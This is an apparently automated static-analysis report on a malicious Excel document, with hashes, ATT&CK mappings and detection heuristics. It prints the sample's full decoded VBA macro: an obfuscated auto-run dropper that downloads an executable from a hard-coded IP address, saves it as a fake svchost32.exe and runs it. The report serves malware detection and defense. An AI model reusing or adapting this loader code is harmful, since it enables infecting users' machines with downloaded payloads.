Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f9049d8fa87060fb…

MALICIOUS

Office (OLE)

380.0 KB Created: 2020-08-13 09:34:13 First seen: 2020-09-15
MD5: 97f883f0752cf82b0717cb457f2b46ca SHA-1: 0e724775a69d8e98799a52c69d2e93838fec2ea5 SHA-256: f9049d8fa87060fbf39f7983d2d156ac88efefff7cefbb35cac65d66b6ad5e2c
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The critical heuristic 'VBA downloads and writes a file to disk' combined with the 'Workbook_Open' macro indicates the sample's intent to download and execute a payload. The obfuscated auto-exec loader and CreateObject calls further support this. The reconstructed URL from the embedded hex string is "http://13.234.238.111/gh/1105677.exe", which is likely the second-stage payload.

Heuristics 6

  • ClamAV: Xls.Malware.Sagent-10035294-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sagent-10035294-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    strmweajsdjkvm_babu.write hthsduerkbxvbhagasdjl_babu.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set hthsduerkbxvbhagasdjl_babu = CreateObject(PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set hthsduerkbxvbhagasdjl_babu = CreateObject(PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6548 bytes
SHA-256: 249840af4f56b2f3b1c2f61c9ae208f4157e2b94225db026592ce79bef858cd1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
COmm0NAzs893TraCXVaPlCXFQAEWRGFYTDZCXFA"68 74 74 70 3A 2F 2F 31 33 2E 32 33 34 2E 32 33 38 2E 31 31 31 2F 67 68 2F 31 31 30 35 36 37 37 2E 65 78 65"
End Sub
Public Sub COmm0NAzs893TraCXVaPlCXFQAEWRGFYTDZCXFA(Link As String)
	Range("A1:J22").Select
    	Selection.Borders(xlDiagonalDown).LineStyle = xlNone
    	Selection.Borders(xlDiagonalUp).LineStyle = xlNone
    	With Selection.Borders(xlEdgeLeft)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim hthsduerkbxvbhagasdjl_babu
	With Selection.Borders(xlEdgeTop)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim strmweajsdjkvm_babu
 	With Selection.Borders(xlEdgeBottom)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim shelaorl_babu
	With Selection.Borders(xlEdgeRight)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set hthsduerkbxvbhagasdjl_babu = CreateObject(PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
	With Selection.Borders(xlInsideVertical)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set strmweajsdjkvm_babu = CreateObject(PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
 	With Selection.Borders(xlInsideHorizontal)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set shelaorl_babu = CreateObject(PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("57 53 63 72 69 70 74 2e 53 68 65 6c 6c "))
 	ActiveWindow.SmallScroll Down:=-12
    	Range("A1").Select
    	ActiveCell.FormulaR1C1 = "S.No"
    	Range("B1").Select
    	ActiveCell.FormulaR1C1 = "Name"
    	Range("C1").Select
    	ActiveCell.FormulaR1C1 = "Unit"
    	Range("D1").Select
    	ActiveCell.FormulaR1C1 = "Price"
    	Range("E1").Select
    	ActiveCell.FormulaR1C1 = "Qty"
    	Range("F1:J22").Select
Url = PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW(Link)
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .WrapText = False
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = False
    	End With
    	Selection.Merge
urloasjdklweqad_babu = PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .WrapText = False
        .Orientation = xlVertical
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
RUNCMD = PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")
	Range("F1:J22").Select
    	ActiveCell.FormulaR1C1 = "S"
   	Range("F1:J22").Select
    	ActiveCell.FormulaR1C1 = "S" & Chr(10) & "u" & Chr(10) & "m" & Chr(10) & "r" & Chr(10) & "r" & Chr(10) & "y"
    	Range("F1:J22").Select
hthsduerkbxvbhagasdjl_babu.Open "G" + "E" + "T", Url, False
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
hthsduerkbxvbhagasdjl_babu.send
	Range("F1:J22").Select
    	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlCenter
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
strmweajsdjkvm_babu.Type = 1
	With Selection.Font
        .Name = "Calibri"
        .Size = 14
        .Strikethrough = False
        .Superscript = False
        .Subscript = False
        .OutlineFont = False
        .Shadow = False
        .Underline = xlUnderlineStyleNone
        .ThemeColor = xlThemeColorLight1
        .TintAndShade = 0
        .ThemeFont = xlThemeFontMinor
    	End With
strmweajsdjkvm_babu.Open
	Selection.Font.Bold = True
strmweajsdjkvm_babu.write hthsduerkbxvbhagasdjl_babu.responseBody
    	Selection.Font.Italic = True
strmweajsdjkvm_babu.savetofile urloasjdklweqad_babu, 2
    	Range("L4").Select
shelaorl_babu.Run RUNCMD

End Sub

Public Function PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW(ByVal AZplOKICbdgCBDgTrADSfPlo9823FCSdNmmBCGFTADSCXV As String) As String
Dim wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa   As String
Dim BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT As String
Dim mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev         As Long
    For mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev = 1 To Len(AZplOKICbdgCBDgTrADSfPlo9823FCSdNmmBCGFTADSCXV) Step 3
        wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa = Chr$(Val("&H" & Mid$(AZplOKICbdgCBDgTrADSfPlo9823FCSdNmmBCGFTADSCXV, mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev, 2)))
        BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT = BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT & wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa
    Next mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev
    PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW = BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT
End Function

Attribute VB_Name = "Sheet 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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